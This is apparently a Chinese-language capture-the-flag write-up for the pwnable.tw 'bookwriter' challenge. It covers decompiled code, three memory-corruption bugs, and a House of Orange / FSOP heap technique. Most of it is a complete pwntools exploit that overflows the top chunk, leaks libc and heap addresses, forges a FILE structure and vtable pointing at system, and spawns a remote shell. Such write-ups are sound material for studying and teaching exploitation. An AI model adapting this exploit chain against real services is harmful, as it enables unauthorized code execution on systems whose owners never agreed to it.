pwnable_bookwriter 执行fsop的条件:
fp->_mode<=0
fp->_IO_write_ptr
>fp->_IO_write_base
或者(主要是前者)
fp->_mode > 0
_IO_vtable_offset (fp) == 0
fp->_wide_data
->_IO_write_ptr
>fp->_wide_data
->_IO_write_bas
主要漏洞: 第一个是因为通过程序可以看出内存里只够存取8个chunk,但是在add函数中确实一个i>8的判断,而存储chunk地址的相邻位置就是存取size的地址,那么就会有一个大字节溢出覆盖
第二个是在edit函数中有一个溢出就是可以通过strlen来将size扩大,慢慢的可以有一个无穷堆溢出
第三个就是在Author更改的时候即infor函数中是通过%s来读取的这样就可以泄露一个堆的地址
静态分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 void __fastcall __noreturn main (int a1, char **a2, char **a3) { setvbuf(stdout , 0LL , 2 , 0LL ); puts ("Welcome to the BookWriter !" ); read_author(); while ( 1 ) { menu(); switch ( sub_4008CD() ) { case 1LL : add(); break ; case 2LL : view(); break ; case 3LL : edit(); break ; case 4LL : information(); break ; case 5LL : exit (0 ); default : puts ("Invalid choice" ); break ; } } }
可见就是一个常规的功能程序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 int sub_4009AA () { unsigned int i; char *v2; __int64 size; for ( i = 0 ; ; ++i ) { if ( i > 8 ) return puts ("You can't add new page anymore!" ); if ( !(&qword_6020A0)[i] ) break ; } printf ("Size of page :" ); size = sub_4008CD(); v2 = (char *)malloc (size); if ( !v2 ) { puts ("Error !" ); exit (0 ); } printf ("Content :" ); similar_read((__int64)v2, size); (&qword_6020A0)[i] = v2; qword_6020E0[i] = size; ++dword_602040; return puts ("Done !" ); }
这里有个漏洞if ( i > 8 ) 判断有问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int edit () { unsigned int v1; printf ("Index of page :" ); v1 = sub_4008CD(); if ( v1 > 7 ) { puts ("out of page:" ); exit (0 ); } if ( !(&qword_6020A0)[v1] ) return puts ("Not found !" ); printf ("Content:" ); similar_read((__int64)(&qword_6020A0)[v1], qword_6020E0[v1]); qword_6020E0[v1] = strlen ((&qword_6020A0)[v1]); return puts ("Done !" ); }
这里也一个溢出点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 unsigned __int64 information () { int v1; unsigned __int64 v2; v2 = __readfsqword(0x28 u); v1 = 0 ; printf ("Author : %s\n" , byte_602060); printf ("Page : %u\n" , (unsigned int )dword_602040); printf ("Do you want to change the author ? (yes:1 / no:0) " ); _isoc99_scanf("%d" , &v1); if ( v1 == 1 ) read_author(); return __readfsqword(0x28 u) ^ v2; }
漏洞的利用 整个程序中没有free,因此大多数的手法是使用不了的,而这道题要用到一个FSOP手法来getshell
利用点1:通过覆写top chunk的size大小为fe1
之后再申请一个不大于mmap的极限值又大于top chunk的size就可以将top chunk释放到unsorted bin中
利用点2:泄露libc地址,因为源码中显示在分割unsortedbin的chunk的时候,第一次分割会先放到相应的bin里面再分割,此时会给一个remainder进行赋值,之后便是直接分割chunk,因此可以add两个chunk便可以通过覆写fd来输出bk
利用点3:可以利用unsorted bin attack将IO_list_all进行覆写,之后IO_list_all会到main arena+88,之后只要满足overflow的条件,再构造一个vtable,改写vtable里的overflow的地址,就可以malloc一个实现getshell(注意此时函数的参数是IO_list_all的地址)
附上exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 from pwn import *p = remote("chall.pwnable.tw" , 10304 ) elf = ELF("./bookwriter" ) libc = ELF("./libc_64.so.6" ) context.log_level = "debug" def send_choice (idx:int ): p.recvuntil(b"Your choice :" ) p.sendline(str (idx).encode()) def add (size, content ): send_choice(1 ) p.recvuntil(b"Size of page :" ) p.sendline(str (size).encode()) p.recvuntil(b"Content :" ) p.send(content) def view (idx:int ): send_choice(2 ) p.recvuntil(b"Index of page :" ) p.sendline(str (idx).encode()) def edit (idx:int , content ): send_choice(3 ) p.recvuntil(b"Index of page :" ) p.sendline(str (idx).encode()) p.recvuntil(b"Content:" ) p.send(content) def info (new_author=None ): send_choice(4 ) p.recvuntil(b"(yes:1 / no:0)" ) if new_author != None : p.sendline(b"1" ) p.recvuntil(b"Author :" ) p.send(new_author) else : p.sendline(b"0" ) def exit (): send_choice(5 ) def exp (): bss_author = 0x602060 bss_catalog = 0x6020a0 bss_sizelist = 0x6020e0 author = b"a" *(0x40 -0x2 ) + b"||" p.recvuntil(b"Author :" ) p.send(author) add(0x18 , b"aaa" ) edit(0 , b"a" *0x18 ) edit(0 , b"a" *0x18 +b"\xe1\x0f\x00" ) info() add(0x78 , b"aaaaaaaa" ) view(1 ) p.recvuntil(b"Content :\naaaaaaaa" ) libc_leak = u64(p.recvuntil(b"\n" , drop=True ).ljust(8 , b"\x00" )) libc_base = libc_leak - 0x3c4188 system = libc_base + libc.symbols[b"system" ] stdout = libc_base + 0x3c5620 io_list_all = libc_base + libc.symbols[b"_IO_list_all" ] print ("libc_leak:" , hex (libc_leak)) print ("libc_base:" , hex (libc_base)) print ("stdout:" , hex (stdout)) print ("io_list_all:" , hex (io_list_all)) send_choice(4 ) p.recvuntil(b"||" ) heap_leak = u64(p.recvuntil(b"\n" , drop=True ).ljust(8 , b"\x00" )) heap_base = heap_leak - 0x10 print ("heap_leak:" , hex (heap_leak)) print ("heap_base:" , hex (heap_base)) p.sendafter(b"(yes:1 / no:0)" , b"0\n" ) chunk1_addr = heap_base + 0x20 print ("chunk1_addr:" , hex (chunk1_addr)) edit(0 , b"\n" ) for i in range (7 ): add(0x58 , b"bbbb" ) pad = b"a" *0x330 data = b'/bin/sh\x00' data += p64(0x61 ) data += p64(0xdeadbeef ) data += p64(libc_base + libc.symbols[b'_IO_list_all' ] - 0x10 ) data += p64(2 ) data += p64(3 ) data = data.ljust(0xc0 , b'\x00' ) data + p64(0xffffffffffffffff ) data = data.ljust(0xe0 -8 , b'\x00' ) vtable = p64(0 ) * 3 + p64(libc_base + libc.symbols[b'system' ]) vtable_addr = heap_base + 0x420 data += p64(vtable_addr) data += vtable edit(0 , pad+data) edit(0 , b"\n" ) send_choice(1 ) p.recvuntil(b"Size of page :" ) p.sendline(b"16" ) p.interactive() if __name__ == "__main__" : exp()
然后就打通了 附上构造图表
top
chunk
/bin/sh\0
0x61
随意
IO_list_all-0x10
2
3
0
0
0
0
0
0
0
0
0
0
0
0
fffffffffffffff
0
0
0
0
0
0
0
0
vtable_addr
vtable(其实这里就是vtable的首地址)
vtable
addr
0
0
0
system_addr